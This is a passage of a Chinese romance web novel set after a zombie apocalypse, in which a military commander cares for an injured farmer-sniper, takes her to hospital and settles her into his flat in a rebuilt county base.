最高指挥官的办公室相对普通领导来说会精致一些,赵弋办公室有待客区,还有一扇门,里面是个小型休息室,床、沙发、柜子、电视机一应俱全,——虽然这年头电视机
似乎也没什么用。
赵弋平时就会待在自己的办公室里,跟兰城的领导线上开会,跟阳县的干部开会,人都给他开麻了。
不过好在安排好了第二批次的迁移居民,地广人稀房屋充足,大家没因为房屋分配闹过,在南区的人带着设备到达之后,煤矿跟铁矿也同时开工,居民安排了工作,也就没时间无所事事了。
一切都按照计划进行。
这会儿接到时枌的电话,真的,他是有点脾气,想晾她几秒钟让她尝尝打不通电话的滋味的。
但也只是几秒,他就按了接通。
“好疼啊”三个字传入耳中,赵弋就后悔了。
他跟她较什么劲?
一边拿电脑查定位,等待定位显示同时去拿了把车钥匙,嘴里还在安抚:“在原地等我,估计……半小时到。”
她所在的位置离阳县不远,靠近铁轨,路线也很清晰,就是人在山上,他开车只能到山脚,再步行上山。
定位发到手机后,他再次叮嘱,“别乱跑,原地等我。”
“哦,那你快点啊。”
“好。”
赵弋被她催促的语气逗笑,心想这会儿倒是知道着急了,一边下楼一边戴上耳机,交代自己的副官他有事出去一趟,就出门了。
基地内刚下班无所事事喝绿豆汤的士兵们就看见他们赵指挥官步履匆匆,上了他专属的黑色越野车,一个漂亮的三角掉头,尘烟四起,明显油门踩到底的轰鸣,车头猛地朝门口冲去。
士兵们开始忧虑:……该不会出什么大事了吧?
一路风驰电掣到了山脚,赵弋对着手表上的坐标,观察周围痕迹,上了山。
终于,找到了半山腰坐在野猪身上翘着左腿啃烙饼的时枌,她身边还有一个大袋子,虎子大熊守在她身边。
“哇,真快。”她说。
赵弋深吸一口气,看了看她翘起来的左腿,蹲下身,一边检查一边问:“上山没带医疗包?也没穿军靴?”
“我就是上山打点吃的。”时枌拍拍自己身下的野猪,“喏,看看,我厉不厉害。”
“厉害。”
野猪半个脑袋都炸了,血也干涸,整只猪一动不动的,看上去是死透了。
她的脚已经开始肿了起来,赵弋帮忙把鞋带解开,弯腰打算将人抱起来,时枌连忙拒绝。
赵弋:“?”
又没人看抱一下会怎样?
“背我,不然不怎么拽野猪?还有这袋子野鹌鹑。”
赵弋:“……”
还得是时枌,考虑周到。
于是他在人前蹲下,时枌自己站了起来,抓着装野鹌鹑的袋子就趴了上去,赵弋先起身掂了掂,调整好身形,再弯腰拽起绑野猪的绳子,准备下山。
他这样负重挺大,不仅有个人,还有一袋鹌鹑以及看上去一百来斤的野猪,不过还好虎子大熊有眼力见,两只狗轮番帮忙拽绳子,给他省了不少力气。
时枌正在跟他说自己的收获。
“这只看上去还没成年,小野猪肉没那么硬没那么骚,回去能包饺子包包子,好好处理也跟家养的猪肉差不多……”
因为是下山,为避免他连人带猪失手滑下山,赵弋盯着路,小心翼翼往下走,耳边是她叽叽喳喳的念叨。
“以后上山记得穿军靴,不容易崴脚,带好药,”赵弋说,“万一被压断腿,你一个人怎么办?”
“我长这么大也就是第二次受伤。”
第一次是小时候陪爷爷去找一头母鹿,追踪了两三天,她饿的头晕眼花靠豆子果腹,一不小心就饿晕了摔下山,也是崴了脚,爷爷找村里的医生帮她正回来,后来也很快恢复了。
似乎也是左脚?
想起这回事,时枌低头抬起左脚看了看。
赵弋感受到她在背上动,又看见她翘起的左脚,“不是说疼?看你好像也没长教训。”
“还行吧,疼着疼着就习惯了。”时枌心态很好,“我们去阳县吗?”
“去保护区,”赵弋说,“阳县没有设备,去保护区拍个片子检查一下看有没有问题。”
“哦。”
出了山,太阳一晒,时枌被突然的阳光刺眼,脑袋埋在人后颈缓了会儿才抬起来。
他后颈确实是之前晒伤了,看着黑了许多,时枌好奇用手拉了下他衣领,果然看见了明显的色差。
感受到她动作的赵弋:“……”
车就在山脚,一袋子鹌鹑丢进后备箱,野猪还有血,避免弄脏车,就用车内的袋子垫了一层再把野猪搬上去。
虎子大熊上了后座,时枌被放置在副驾驶,一车人先回农场,把虎子大熊跟野猪鹌鹑放下,再去罗辉家打了声招呼,就开车去保护区。
时枌还是累到了,上车就开始睡,一路经过了保护区城门安检,又到了东区军医院,停车后赵弋看她还在睡,以为是受了别的伤昏迷了,给他吓了一跳,捏着人下巴左右摇了摇,看见她迷迷糊糊转醒才意识到只是睡觉,没有昏迷,松了口气。
俯身将人从副驾驶抱出来。
时枌脑袋还有点晕,打了个哈欠,相当配合地伸手绕过他后颈,给自己送出去了。
“到了?”她掀起眼皮问了句。
“嗯。”赵弋挂了号,直接去骨科。
先拍片子,再去医生那边。
老医生看了看脚,这会儿已经肿的不成样子了,叫护士来脱了鞋简单处理,最后拿到片子看了下。
“韧带撕裂,最好打个石膏,好好休养一个月,不然对以后有影响。”
时枌:“什么是石膏?”
赵弋:“打,她是军人,有医保。”
医生:“那行。”
这种崴脚骨折的伤很常见,医生也很有经验了,叫来另一个年轻医生帮忙一起打石膏。
没见过石膏的时枌狠狠长了见识。
还是有点痛的,像是一个热乎乎的东西压着自己的脚,而且还不能动,不然打歪了还得拆了重新打,时枌是个乖小孩,很听医生的话,坐在轮椅上老老实实一动不动任由两个医生给自己脚上小腿上包纱布抹白色的东西。
完工之后,医生很满意看着自己的杰作,叮嘱她最近这个脚不要用力,两周后来复查看看恢复情况,又给她开了止痛药,说要是实在很痛就吃药。
时枌看着自己大了一圈像是穿了个白色厚靴子的腿,真诚提问:“那医生,我怎么洗脚呢?”
老医生笑呵呵:“不洗啊。”
时枌:“……”
她没有洁癖,但她也是个爱干净的小女孩啊。
“两周复查,恢复的好就可以早点拆。”医生说。
基本就没别的了。
赵弋问有没有什么忌口。
老医生:“有条件的话别总喝营养液,喝点骨头汤。”
时枌一听,赶忙点头:“嗯嗯,回去我就把那只野猪杀了。”
赵弋:“你这样就别想着杀猪了。”
缴费,拿药,买了双拐,时枌也能自己行走,她年轻,适应得快,很快就能拄着拐健步如飞。
赵弋带她去食堂先吃饭,吃完饭再回去,自然,给她买了一碗骨头汤。
看她这副样子,食堂大爷很贴心地多给了她一块筒子骨。
赵弋刚坐下想跟她聊一聊之后的安排,手表就响了,看了眼是他爸打过来的,就起身去接电话。
戴上耳机,赵将军直截了当:“你回保护区了?回不回家吃饭啊?”
赵弋看了眼翘着二郎腿吃饭喝汤的时枌,“不回去,马上就走了。”
“啊,听说你在医院?受伤了?”
“没有。”
有时候赵弋都怀疑他是不是在自己身上安了摄像头,怎么到哪他都知道。
“那你怎么在医院?”
“队员受伤。”
“哦……”那边似乎有人提醒了一句,赵将军声音一下子就大了起来,“队员受伤你亲自送来啊?”
赵弋就知道他身边的应该是他妈唐女士。
“嗯,我爱兵如子,可以吗?”
赵千嶂:“……”
好不要脸的回答。
第79章 第79章“这样可以吧?”
“没别的事我就先挂了。”他还得吃饭。
“诶……你妈说……”
然后赵弋立马就把通话挂断了。
扭头回去,时枌已经喝完了一大碗骨头汤,正斯文地用筷子夹起筒子骨啃肉。
嗯,看得出来她好好养伤的决心了。
赵弋本来不饿,他一碗牛肉面还剩一半,回去三两下吃完,时枌也吃的差不多了,她擦擦嘴,开始寻找自己的拐杖,把拐杖撑到长凳外边去,慢吞吞地试图爬过长凳出去。
看她四条腿自己打架,赵弋上前扶了一把,发现她
真的给自己卡进去了,只能扣着人腰把她“拔”了出来,时枌很配合地缩腿,等到确定她站稳后还是扶着她的胳膊。
“食堂地板有油,你拄拐可能会滑倒。”他解释。
时枌也发现了这一点,刚刚她拄拐的时候就有点打滑。
“谁的电话呀?”她好奇问了一句。
“我爸的,”他说,“问我回不回去吃饭。”
“啊,所以你回去吃饭吗?”
“不回去,阳县那边还有事情。”赵弋扶着她出了食堂,“正好跟你商量,你腿这样一个人住不安全,要不要跟我去阳县住一段时间?”
没等她回答,赵弋就已经把农场的事安排好了,“其他牲畜跟小狗可以让罗辉帮你照看,虎子大熊你不放心的话可以一起带去阳县,我的房子……还算大,住得下。”
“这样也方便我到时候带你去保护区复查,早日恢复早日回农场。”
“最重要是,阳县通水通电,生活更方便,而且你的农场这段时间也没别的事要干吧?”
不然也不会闲到上山玩了。
时枌是不太想离开农场去一个陌生地方的。
但是,她上了车就接到周霓打来的电话。
之前在医院坐轮椅,时枌随手拍了一张坐轮椅打石膏的照片发到了群里,惹来其他人接连不断的关心问候,终于这会儿打了电话过来。
“枌枌没事吧?”周霓语气关切。
“没事,休养一个月就好了。”保护区内信号就是好。
“我跟叶枝蔚他们商量过了,你一个人住在农场太不方便,腿又不能走路,不如来阳县,我们大家轮流照顾你。”
“不用不用,我还是可以自己照顾自己的。”
“瞎说!你腿都断了怎么照顾自己!上下楼都不方便,万一从楼梯上滚下来呢?万一摔断脖子呢?!”
“……我只是崴了脚。”
“我不管,你不同意我就让赵队把你带过来,反正你脚不好跑不掉。”
“……”
赵弋俯身替她系好安全带,“就当是出门旅游,顺便看看阳县现在怎么样了,不想见见白芳跟糯糯吗?”
后半句还是很有吸引力的。
时枌挂断电话思考了很久。
她其实,还是有点想去阳县看看的,跟叶枝蔚他们聚一聚,毕竟这个季节的农场也无事可干。
更何况……通水通电的生活,她好久没感受过了。
是真的有点馋。
“那我住哪呢?”时枌问他。
她这么一问,赵弋就知道她是想去了。
“我在家属区有房子,离秦丰叶枝蔚他们很近,”赵弋说,“平时我也只是住在办公室的休息室,工作很忙,每天回去洗澡换衣服而已。”
这段话里面几分真几分假也只有赵弋自己清楚了。
“那行,”她就不跟他们客气了,“但是我得回农场一趟,收拾收拾东西。”
“好。”
车驶出基地时,两人都没注意另一辆低调的黑色轿车,后座的赵千嶂着急忙慌降下车窗,还没来得及跟他儿子打招呼,那辆越野车就呼啸而过,只留给他一个车屁股。
吃了一嘴灰的赵千嶂重新坐了回去,灵机一动。
人走了!他还能调监控啊!
他倒要看看这个“兵”到底长啥样!
***
这是时枌第一次出远门做客,她的农场招待过不少人,但这样自己去别人家,给她感觉很新奇。
回到家第一件事就是先把鹌鹑放进笼子里,一起跟鸡养着。
第二就是收拾自己的必需用品。
她没经验,所以收拾的很慢。
首先衣服是要的,平时穿的还有睡觉穿的,睡衣她带了两套。
赵弋在帮她把挑出来的衣服放进一个皮箱里,“长裤不用带了,你现在穿不了。”
时枌这才注意到自己打石膏的腿。
确实,她现在用不上。
“那拖鞋也只带一只。”
她的浴巾毛巾也都要带上,还有牙膏牙刷等等,哦对,还有枪。
时枌拄着拐,去把墙上挂着的狙击枪取了下来,还带了几盒子弹,——说不定能用上呢。
最后再下楼去收拾厨房里的东西。
上楼的时候是赵弋给她抱上来的,下楼他手里还有个箱子,时枌就想自己下去。
赵弋拉住她,把箱子放她手里,照旧连人带拐杖拦腰抱了起来。
不得不说,这样还真的很轻松。
毕竟她拄拐上楼确实很危险。
而且赵弋还很稳,真不知道为什么他喝营养液都能长这么结实,力气还这么大,真让人羡慕。
厨房要收拾的东西可就多了。
她珍藏的佐料,一罐子咸鸭蛋两罐子皮蛋都要带过去吃,另外再带了一袋面粉一袋大米,想着阳县资源匮乏,她去了也得给人家带一些“伴手礼”,时枌就把自己地窖里剩下的红豆跟绿豆都让赵弋搬上了车,反正到时候她再去田地上收就是,这东西也不是吃了就没有了。
另外把院子里的菜又收割了一遍。
“你家有电冰箱吗?”时枌问他。
赵弋回忆了下,似乎是有,但他没用过,不知道能不能用。
“有,没用过,不过可以订一个,保护区那边送物资可以顺便送过来。”
“那就好,我都摘了,到时候放冰箱能慢慢吃。”
“嗯,”赵弋边搬东西边跟她说阳县那边的情况,“军事基地现在已经有五百人了,下批还会来两百,配套的设施也会送到,包括食堂,以后你可以来食堂吃饭,更方便一点。”
想吃好点也可以,她这里食材这么多,跟食堂师傅通融通融就行。
“真好,”时枌对食堂很满意,这样她就不用自己做饭了,“那只野猪也要带上!”
一辆越野车塞得满满当当,后备箱装了一头猪,米面红豆绿豆若干,时枌把地里所有成熟的瓜果都摘下来了,后备箱放不下,就只能放后座,结果虎子大熊都没地方坐,只能一个趴在一个大冬瓜上,一个趴在时枌腿边。
她这些绝对够她一个月的伙食了。
“之后如果吃完了你能带我开车回来摘吗?”时枌还惦记着地里的菜。
毕竟如果不吃烂在地里也怪浪费的。
“随时,只要你想回来。”
有他这句话时枌就放心很多了。
今天一天从山上到山下,从农场到保护区,折腾了一整天,时枌自己本来就进山弄得一身脏,她记得来的时候赵弋衣服也是干干净净的一身白衬衣黑裤,现在白衬衣给她糟蹋得已经不成样子了,看着就很难洗的样子。
时枌本想关心两句,但怕他让自己帮忙洗衣服,她硬是忍着没开口问。
一路憋到了阳县。
上次来阳县还是一片丧尸死气,现在已经充满了活人气息,基地也有了正规的大门,有士兵守在旁边。
车得停在基地门前的停车位上。
两人先下车到门口核验身份,虎子跟大熊乖乖跟在时枌身后,昂首挺胸,没给主人丢脸,只是没等到士兵来检查它俩,不太明白地互相对视一眼,又若无其事继续跟着主人往前走。
路过的士兵看见脏兮兮的白衬衣差点没反应过来,反应后朝赵弋敬礼,时枌吓了一跳,拄着拐往外跳了一步躲避敬礼,被赵弋发现后无奈拽了过来。
“车里还有东西……”
赵弋带着她跟两条狗往前走,时枌以为他忘了车里的东西忍不住提醒。
很有眼力见的士兵听见,“我们帮忙搬!”
赵弋:“不用,会有人来搬。”
果然,很快看见时枌出现,秦丰就脱离队伍蹿了过来,两眼放光:“你抓的野猪呢?!赶紧的赶紧的!咱们今晚就给杀了,包饺子熬骨头汤!给你好好补补身体!”
守门的士兵一字不落全听见了,用真挚的眼神询问:见者有份吗?
“在车后备箱,还有很多东西……”时枌扭头问赵弋:“车不能开进来么?”
“可以。”赵弋把车钥匙丢给秦丰,“记得让他们检查一下,车开到我家楼下。”
“好嘞。”
秦丰带着人去检查,就看见了满满的食材,给饿了半个月的秦副队馋的口水狂流。
“检查还需要时间,我先带你去住的地方看看。”赵弋对时枌说。
秦丰耳朵竖起来,大大咧咧:“老赵你给她安排哪啊?枝蔚说了我们家那栋楼还空着好几间房呢……”
时枌扭头伸长脖子去看秦丰。
赵弋扣着她脑袋把人带回来,“我家有冰箱,他们家没有。”
时枌就当没听见秦丰说的话。
他们家属区离办公楼不是很快,沿着小道拐个弯就到了,这里明显是休整过的,绿化带的树都被修剪了,杂草也被清理,看起来干净很多。
赵弋住的地方在里面一个比较僻静的一个四层楼。
他住二楼,爬楼梯不是很累,对拄拐的时枌来说也相对方便。
“秦丰家住三楼,得爬楼梯,我这边更安全。”他说。
时枌:“……那不是跟我家住二楼差不多?”
“……”
确实差不多,但赵弋不会承认。
进门到楼道,赵弋俯身将她抱起来。
说实话,时枌都很习惯了,反正周围没人,被抱上去好像也没什么。
到了二楼,201门口,赵弋对她说,“抱着我脖子,往上提一下,我找找钥匙。”
时枌竟然听懂了他是什么意思,相当配合地身体往他的方向靠,两手挂着他脖子稍稍用力将自己提了起来,空出他的右胳膊。
只是这样她就不得不贴着人的肩膀,身体往上的时候,鼻尖还会蹭到人脸侧,呼吸似乎都扑到他的脸上,这让时枌觉得自己挺没礼貌的。
她还很贴心地问:“这样可以吧?”
赵弋硬是没泄露一丝笑意,“嗯。”
慢吞吞从裤子口袋里摸出钥匙,再慢吞吞地解锁,开门。
等到进屋时枌被放下,才恍惚地反应过来:既然抱着她不方便拿钥匙,为什么不在门口把她放下来找钥匙呢?
于是重新拿回自己拐杖的时枌,站在门口,眯起眼看向这个诡计多端的男人。
赵弋从鞋柜里拿出一双男士拖鞋放到她脚下,蹲下身帮她换鞋。
时枌又不好意思了。
她刚从山上下来,鞋脏死了,都是泥,于是连忙拄着拐逃,被他捏着小腿拽回来。
“别乱动,只剩一只脚了还不老实。”
时枌:“……”
她好想失手一脚踹他脸上哦。
第80章 第80章“你说话真的很像家长。……
时枌穿的是叶枝蔚特地给她买的小狗袜子,鞋拔下来时还抖落一层灰,当然,她小狗袜子上也都是灰。
在医院的时候那么多人看着她脱鞋她都没什么,这会儿她一脱完鞋就赶紧踩着拖鞋往洗手间跑。
“我先洗澡,你一会儿帮我把衣服拿进来!”
随着一声“啪”的关门声,时枌已经灵活地进了洗手间。
洗手间的地板跟外边的木地板不一样,有点滑,不过空间比较狭窄,快要滑倒的时候周围都是可以支撑的,跟她家一楼洗手间大小差不多,时枌试了一下,发现竟然真的有自来水。
外边传来赵弋的声音:“虎子大熊先安排在阳台了,你注意一点,别又摔了。”
“知道了。”时枌回了一声,靠着洗手台,把两只拐杖靠在门后墙上,一边开始琢磨洗澡的事。
然后发现,自己脚上打了石膏,裤子脱不下来。
隐约听到赵弋还在外边,时枌拉开门,金鸡独立的姿势,“帮忙拿把剪刀。”
这时候楼下传来秦丰的声音。
赵弋帮忙拿了把剪刀过来,下楼前又叮嘱了一遍让她小心。
时枌觉得他有点啰嗦了,没搭理,直接关上门开始剪裤腿。
在医院的时候医生是直接把她裤腿卷起来打石膏的,这会儿要洗澡,左腿肯定是脱不下来了,好在她平时上山都穿旧裤子,剪了这一条也不心疼,咔嚓咔嚓就是下剪刀,然后把裤子扔到一边,一边调试水温。
是她小时候用过的那种太阳能热水器,热水刚开始比较慢,而且还需要仔细转动调整水温。
竟然这么方便就能洗热水澡,时枌狠狠嫉妒了,但一想到自己接下来一个月都住在这里都能享受到,心里也就平衡了很多。
石膏看起来不能碰水,她就不能直接淋浴,只能先往盆里放热水,再用毛巾擦身体。
可是,她的毛巾也没拿进来,外边已经没动静了,赵弋显然还没上来。
时枌想了想,还是先洗头。
还好她只是崴了脚,手没问题,洗个头简简单单。
她自己给自己搓泡沫的时候赵弋敲门送衣服进来。
时枌洗了手,刚想开门意识到自己都脱完了,才小心翼翼躲在门后,只伸出一只手接到了衣服,再快速缩回来关上门。
赵弋给她收拾了一条连衣裙还有内衣,毛巾浴巾也都有。
真全啊,时枌想着。
舒舒服服洗了个热水澡,换上衣服,头发用毛巾包起来顶脑袋上,时枌拿起自己的拐杖开门出去。
秦丰正在帮忙搬东西,屋子里满是脚印,厨房冰箱前面堆着她带来的食材,至于赵弋,正在卧室帮她挂衣服。
赵弋这房子不是很大,八九十平的样子,卧室、书房、客厅、厨房、洗手间都有,客厅跟房间里都是铺的木地板,厨房洗手间是白色瓷砖,厨房看上去也很全。
虎子跟大熊被关在阳台,看见她正扒拉玻璃门想出来,爪子在上边发出啪嗒啪嗒的动静,时枌给了个安抚的眼神,暂时没放它们出来,——毕竟这家里已经够脏了。
“冬瓜我给你放地上了,冰箱塞不下,一会儿那只野猪我在下边食堂杀,那边宽敞。”秦丰一边忙活一边跟她汇报进展,“正好有冬瓜,给你熬冬瓜骨头汤?”
“好,我不挑,其余的肉可以分给基地的其他人吃。”时枌说。
她初来乍到的,先贿赂贿赂人心。
“行,那我就不跟你客气了。”秦丰手里忙活着,扭头叫赵弋,“咱们基地也就只有一百多人吧?我就只招呼这些人了,南区那边的不归我管哈。”
正在挂衣服的赵弋:“嗯。”
时枌拄着拐杖去看卧室。
衣柜大开,赵弋把他自己的衣服挪了挪,就空出一大片空间给她挂衣服。
带的都是裙子,两条连衣裙,三条长裙,赵弋都规规整整地挂了起来,内衣袜子就收到底下的柜子里,他一边收拾一边跟她说东西放在哪。
“阳县内禁枪,你的枪暂时放在基地,如果有需要就找我拿。”
她衣服不多,很快就收拾完了,他把衣柜门都关上。
“床单被罩刚刚换过了,是新的,你安心住下,钥匙给你,我不带钥匙,只是偶尔会回来拿换洗衣服。”
时枌对这个住处很满意。
“辛苦了。”她一脸欣慰地说。
她看了看满地的脚印,“那你走之前记得把地拖干净。”
赵弋:“……好的。”
真把他当仆人使唤啊。
时枌把自己洗的干干净净,东西也都收拾了,跟着
他俩下楼去杀猪。
她穿裙子没有口袋,钥匙没地方放,就暂时留在赵弋身上,等他们晚上收工再拿回来。
忙了一整天,这会儿天都快黑了。
阳县内已经通电,基地路灯已经亮起,时枌一边拄拐一边仰头看这一盏盏路灯,眼里全是稀奇。
基地虽然食堂大厨还没到,但是食堂还是有的,已经收拾干净了,设备齐全,刀具也很齐。
时枌伤了脚,但并不影响她杀猪。
秦丰叫来两个士兵做配合,烧水,烫猪,时枌来刮毛。
刮完后就是时枌的拿手好戏:拆猪。
她暂时不用拐杖了,一边保持身体平衡单脚站立,一边干净利落拆分野猪,偶尔挪动位置也是单脚蹦跶,看着非常灵活,经过的士兵都好奇围上来观看。
“哇,这手艺我小时候在村里见过。”
“我去,庖丁解牛啊,这刀这么快?”
“确定是刀快?人家是从关节拆分的吧?啧,结构都记这么清楚,不敢想这女孩杀人得多顺手。”
“什么杀人?这不是咱们刚来的厨师吗?”
“……脑子清醒点,看看人家胳膊跟腿上的肌肉,腿瘸了都比你灵活。”
“听说是赵指挥官队里的狙击手,啧,难怪。”
一整只猪拆好,时枌汗都没出,外边天已经全黑了,夜风微凉,还有点舒服。
秦丰负责接下来的活。
筒子骨跟排骨留着煲汤,这会儿煲上,今天喝一碗,再放进冰箱冷冻几块骨头留着下次再煲,不用像之前在农场有什么鲜肉都要尽快吃完避免放着就坏了。
时枌只要一点骨头,其他的都剁了包包子包饺子,正好她带了一大袋面粉。
秦丰招呼来几个有经验的士兵帮忙和面剁馅。
“见者有份吧秦副队?”有人跟秦丰嘻嘻哈哈。
秦丰哼了声,“不干活就没得吃。”
于是大家争着干活,生怕自己没得吃。
时枌就洗洗手,一边玩去了。
她杀猪的时候赵弋倒是不在,不知道去哪,这会儿刚杀完,洗完手就看见了他出现在路灯下,似乎是在等她。
时枌拄着拐蹦过去,仰头看他,眼神询问有啥事。
赵弋看了看她裙摆下灵活蹦跶的右脚,“周霓跟叶枝蔚八点下班,你跟她们玩完来我办公室找我,我送你回去。”
时枌:“你说话真的很像家长。”
赵弋:“我没比你大几岁,你是等她们下班,还是我带你到处逛逛?”
时枌想了想,还是决定先熟悉熟悉环境。
“逛逛。”
赵弋走在前边,领着她边走边介绍,步伐会放慢一些,以免她被落下,时不时也会回头看她。
“阳县没有宵禁,这边主要是军事基地,往外走这条街是居民区,大部分居民都住在这里,靠近基地,方便我们布置安保人员,一旦有什么事我们也能及时反应。”
“铁矿跟煤矿都工作到晚上十点,巡查人员是二十四小时轮班。”
“等过段时间保护区的物资送到,这里的店铺也会陆陆续续开起来。”
“目前保护区那边想要迁移来阳县的人数还在上升,阳县两个矿需要大量人力,发电厂更是需要专业人员,所以后续我们不会随随便便招人进来,会有比较严格的审核。”
赵弋跟她聊的除了目前阳县的情况外也有部分阳县未来的规划,时枌都听出来这些话可能是机密,抬头看着他。
察觉到她的目光,赵弋笑了起来,“我说这些只是想告诉你,阳县未来会是一个稳定、安全的地方。同时我也相信你,不会把这些话到处乱说。”
时枌撇撇嘴,“你怎么能保证我不会到处乱说,我又不是没长嘴,哼,明天我就拿大喇叭去外边喊话。”
路不平,赵弋拉着她胳膊往自己方向带了带,“行行行,你长嘴,你到处说。”
蹦的有点累了,时枌叫住他,靠着墙歇一会儿,“那以后阳县就主要依靠兰城运来的物资么?没想过阳县这么大的地方,有了这么多人,自给自足不难吧?”
赵弋站在她面前,低头嗯了一声,“想过。”
“是呀,兰城不是阳县的粮仓,阳县反而没有兰城的限制,可以做自己的粮仓,未来说不定还能反过来给兰城运物资呢。”
阳县附近从前都是村落,村里人都是种地为生的,田地不会少,冬面还有大片的平原草地可以放牧,完全可以种粮食养牲畜。
“得慢慢来,至少要等春播。”赵弋说。
“但是如果养猪养鸡鸭之类的,现在就可以开干了吧?”时枌说,“找兰城要点小鸡崽应该没问题。”
“饲料呢?它们跟我们一起喝营养液么?”
“一开始规模肯定不会很大的,少部分的牲畜可以靠你们自己,马上是秋天,秋播也可以种菜,你们这些士兵平时除了巡查也没事干,不如学学古时候,屯田,自己先种起来,再带动居民一起种……”
两人正聊着,忽然从一条小路出来一个人影,进入路灯下显露模样,看见两人一脸惊讶。
“时枌?”
时枌正对着她,一抬眼就看见。
是西芹。
80-90
第81章 第81章怕你会不喜欢。
要不是再见到,时枌差点记不起西芹这个人来。
她似乎是瘦了一点,好像也长高了一些,脸上不是初到农场的瑟缩不安,也不是离开农场时的心高气傲。
有种经历了社会教育的麻木与小心翼翼。
“西芹。”时枌跟她打招呼。
看见她,西芹从一天疲惫的工作中缓了口气,上前几步靠近才发现时枌对面的是赵弋,看清赵弋她反而下意识害怕地后退了两步。
赵弋前些天原地枪毙一个试图进入基地偷枪的源城难民,她正好在场,亲眼目睹。
西芹见过人杀丧尸,见过许多次,但还是第一次见一个活生生的、还没有转变成丧尸的熟悉同伴被一枪崩开了脑袋。
她记得当时自己被吓呆了,回去连续做了好几天噩梦,直到今天还没缓过来。
“你也来阳县了吗?你的农场不要了?”西芹跟他们保持着一定的距离,目光只是落在时枌身上。
“啊,不是,我腿不方便,来这边住一段时间。”时枌说,“你跟西池一起迁移到这里了?”
西芹点头,“这边不需要每月十个积分,而且也更容易找到工作。”
“哦,也是。”
许久未见,时枌却没什么兴致跟她多聊,没主动挑起话题。
西芹犹犹豫豫看着她,似乎有话想说,但目光一落到赵弋身上就又缩了回去。
“我回家了,再见。”她跟她道别。
“拜拜。”
看着西芹离开,身影消失在拐角,时枌才看向面前的赵弋,“她好像很怕你?”
“嗯,”他没否认,毕竟在阳县,他们应该怕他,“还逛么?还是回去?”
时枌蹦了一天,确实有点累了,刚刚又见了西芹,说不清自己是什么心情,但确实没了继续逛的兴致,于是点头。
再旺盛的精力也经不住她这一天的折腾,时枌拄着拐杖刚蹦两步,看着面前长长的路,一下子就累了。
赵弋在她前方停下,回头。
“背我,我蹦不动了。”她说。
他嘴角微扬,心想你可终于蹦不动了。
走到跟前蹲下身,时枌把胳膊穿过拐杖挂着,俯身趴了上去,赵弋起身调整好,佝着腰省力,先把右手折叠的裙摆捋顺,再弄左手的,确定没走光,才往上掂了一下,让她扶好。
这种微微佝腰的姿势让趴在他背上的时枌基本不需要用什么力气,更不用担心会滑落,腿下的胳膊跟她小腿似的粗,隔着裙摆都能感受到紧绷的肌肉。
时枌趴上去就开始犯困了,迷迷糊糊眨眼,实在扛不住,趴在人肩膀上开睡。
路上遇到了回基地的周霓跟叶枝蔚,她俩看见时枌睡的正香没多打扰。
周霓:“你送她先回去睡吧,小可怜一整天都在跑,估计
累坏了。”
叶枝蔚:“我去帮忙拿骨头汤?冷冻一晚,明天早上还能下面吃。”
“我也来帮忙。”周霓也跟上。
赵弋一个人没那么多手,只能让她俩帮忙拿汤还有秦丰留下来的骨头,一同往家属区走。
“时枌这腿是怎么弄的啊?严重吗?”周霓小声关切地问。
赵弋回忆了下上山看见时枌的模样,“估计是抓野猪崴的。”
“……哦,那难怪。”
这很时枌了。
周霓跟个老妈子似的跟在屁股后边,看着时枌趴在赵队身上呼呼大睡,一边心疼时枌平时自己一个小姑娘在农场,如果不是认识他们,万一受伤了该怎么办?
一边又通透地觉得,如果时枌能拿下赵队,以后农场的安全就有了保障,而且时枌也不会那么孤独了。
可是……
周霓担忧的看了眼赵队,又跟旁边端骨头汤的叶枝蔚对了个眼神。
叶枝蔚不明所以,一脸迷惘。
周霓给瞎子抛媚眼,深深叹了口气。
从前赵弋在保护区还只是个高级指挥官,现在到了阳县,几乎整个阳县都归他管,这样的男人,足够强大,也有足够的权利,时枌怎么才能拿下呢?
周霓忧心忡忡,跟着一路上楼,进屋后,赵弋背着人去卧室,一双拐放在靠床的墙边,然后小心翼翼地把人从自己身上“卸”了下来,摆好身体,将散乱的裙摆规整好,拿旁边的毯子给她盖在肚子上。
他看了看这个卧室,发现缺了点什么。
蚊帐。
时枌自己的床是有一个巨大、囊括整张床的蚊帐的。
而他平时并不在意这些,而且阳县相对来说蚊子少一些,他也不是爱招蚊子咬的那种人。
心里清单列下蚊帐,赵弋把旁边电扇挪了过来,开二档,转向她小腿。
风扇不能对着脑袋吹。
安排好之后,一回头,就看见两个偷偷摸摸观察自己的队员。
赵弋出去,带上门,把钥匙放在了玄关的柜子上,对她俩说:“房子给她住,我去办公室睡,你们放心,我不会占小姑娘的便宜。”
周霓:“嗨呀,瞧您说的,我跟枝蔚都知道您不是那种人!”
被拉着偷窥的叶枝蔚:“……”
周霓眼睛盯着柜子上那串钥匙出的门。
赵弋:“只有一串钥匙。”
周霓:“嗨呀!我知道!我也是有房的!我就是担心枌枌认床睡不好!”
叶枝蔚:“……”
卧室的时枌睡了舒舒服服的一觉。
就是大半夜梦到自己左脚上压了块石头,搬了一整晚都没搬下来,第二天早上生物钟自动醒了,一睁眼看见自己的左脚,反应了几秒才想起来自己昨天经历了什么。
哦,她已经到阳县了。
这是赵弋的家。
时枌看了看自己身下米白色的床单,侧头嗅了嗅,是淡淡的肥皂香,身上的毯子是棕色的,质感很不错,枕头是浅棕色,也是一样有着肥皂香。
哦,这里没有凉席,她怎么不觉得热?
抬眼一看。
电扇!
对哦,他家有电扇。
那……是不是也可以装空调?
时枌对着电扇吹了会儿脑袋,彻底清醒了,关了电扇,起床洗漱。
懒得拿拐杖,她干脆单脚蹦过去,不知道是不是她的错觉,她总觉得自己的石膏……有点大。
是不是被她睡觉的时候挪错位了?
刷牙的时候手表弹出消息,赵弋问她醒了没。
时枌叼着牙刷回了个醒了,就继续收拾自己。
昨天洗了头,吹了一晚上电扇似乎也没怎么出汗,头发还是香香的,时枌在镜子旁边柜子里找到了几个头绳,随手扎了个马尾,洗了把脸,单脚蹦出去。
看着陌生的屋子,时枌恍惚之间有些无所适从。
地板明显已经被拖过了,干干净净的,都能反光。
好歹是住在别人家,她得爱干净。
时枌去卧室把床整理了一下,毯子叠好。
她要是不用拐杖的话穿着拖鞋不方便单脚蹦,很容易给拖鞋蹦飞,到时候她完好的右脚估计也得出事,时枌就干脆没穿鞋,赤脚蹦来蹦去。
她昨天的衣服还堆在洗手间,她得洗个衣服。
正洗着,就有人敲门。
时枌洗洗手上的泡沫,去开门。
是赵弋。
“你这么早过来干什么?”
“做饭。”赵弋自顾自进了门,换鞋,一边解释:“昨天秦丰炖的骨头汤,他说今天最好下面条喝了。”
